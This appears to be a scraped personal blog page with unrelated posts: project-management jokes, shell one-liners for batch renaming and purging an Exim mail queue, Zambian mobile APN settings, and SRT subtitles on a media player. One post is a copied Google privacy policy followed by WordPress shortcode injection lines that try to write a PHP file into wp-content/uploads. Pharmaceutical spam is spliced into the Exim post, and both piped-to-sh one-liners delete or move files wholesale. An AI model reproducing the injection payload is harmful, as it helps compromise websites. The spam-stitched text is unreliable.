About projects

  • A project is one small step for the project sponsor, one giant leap for the project manager. 
  • Good project management is not so much knowing what to do and when, as knowing what excuses to give and when. 
  • If everything is going exactly to plan, something somewhere is going massively wrong. 
  • Everyone asks for a strong project manager – when they get him they don’t want him. 
  • Overtime is a figment of the naïve project manager’s imagination. 
  • Quantitative project management is for predicting cost and schedule overruns well in advance. 
  • Good project managers know when not to manage a project. 
  • All project managers face problems on Monday mornings – good project managers are working on next Monday’s problems. 
  • For a project manager, overruns are as certain as death and taxes. 
  • If there were no problem people there’d be no need for people who solve problems. 
  • Some projects finish on time in spite of project management best practices. 
  • Good project managers admit mistakes: that’s why you so rarely meet a good project manager. 
  • Fast – cheap – good: you can have any two. 
  • There is such a thing as an unrealistic timescale. 
  • The more ridiculous the deadline the more money will be wasted trying to meet it. 
  • The first 90% of a project takes 90% of the time, the last 10% takes the other 90%. 
  • The project would not have been started if the truth had been told about the cost and timescale. 
  • To estimate a project, work out how long it would take one person to do it then multiply that by the number of people on the project.
  • Never underestimate the ability of senior management to buy a bad idea and fail to buy a good idea. 
  • The most successful project managers have perfected the skill of being comfortable, about being uncomfortable. 
  • When the weight of the project paperwork equals the weight of the project itself, the project can be considered complete.
  • If it happens once it’s ignorance, if it happens twice it’s neglect, if it happens three times it’s policy. 
  • You can build a reputation on what you’re going to do.

batch renaming using awk and bash

This little command will trim the first 27 characters of files in the directory you’re in.

It also assumes that your files are no longer than 99 characters in length.

Adjust to suit.

ls | awk '{print "mv "$1 " " substr($1, 27, 99)}'|sh


If you want to test remove the bit of the command I highlighted in red.

Idc about you mad hatters

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Using the internet in Zambia

So here I am in Lusaka, trying to get my daily fix of the interweb.

The easiest way to get access on limited basis is to buy a local mobile phone sim card, from the many many places that sell them around the city. I opted for a Zain SIM card ( but you have a choice of 2 other networks MTN and Zamtel.

The cost of the sim card is 5,000 kwacha (approx £0.70 or $1 USD). Add to that around 10,000 Kwacha for startup credit to get you going.

The costs for a pay-as-you-go setup is a fixed 1,600 ZMK per meg which can add up very quickly, but using a phone on android you can control the usage much better than using it on the computer. I was switching the mobile internet on every 2-3 hours to get the emails and check on bits and pieces. I end up spending around 10,000 ZMK per day on average usage.

The network syncs to Edge but I am told they have 3G too but I suspect the sim I have is limited as it’s cheap and probably isn’t designed for 3G.

The APN settings are:

Internet Settings
Account Name = Zain Internet
Home Page:
IP Address = none (leave blank)
Port = none (leave blank)
Username = none (leave blank)
Password = none (leave blank)
Access Point Name (APN) = internet

For further information you can always check Zain’s own website

Using SRT subtitle files on Popcorn hour

I was having little trouble getting .SRT file working on Pop corn hour A-110. After some googling, I came across this page:

To enable SRT files support you need the following steps.

1. Make sure the SRT filename and the video name match (Except for the extensions obviously)

2. Make sure they are in the same directory

3. (OPTIONAL STEP) On your popcorn hour go to Setup menu, under subtitles change the language to English (Or any language, but not NONE), this will make sure the subtitles always run when you load a movie in your selected language.

4. Using your remote during playback you can enable the subtitles using the subtitles button.

Pretty simple, isn’t it?

Clearing Exim mail queue from all emails

Here is a little command, if you have loads of emails stuck in exim queue and you want to delete ALL the emails, here is a little command to do that

mailq |awk '{print "exim -Mrm " $3}'|sh

Be careful when using it, like I said, it will delete all emails waiting to be delivered by exim viagra bestellen rezeptfrei.

I used it to clear a queue from loads of spam and viruses after a machine got infected and sent 160k emails in 2hours 🙁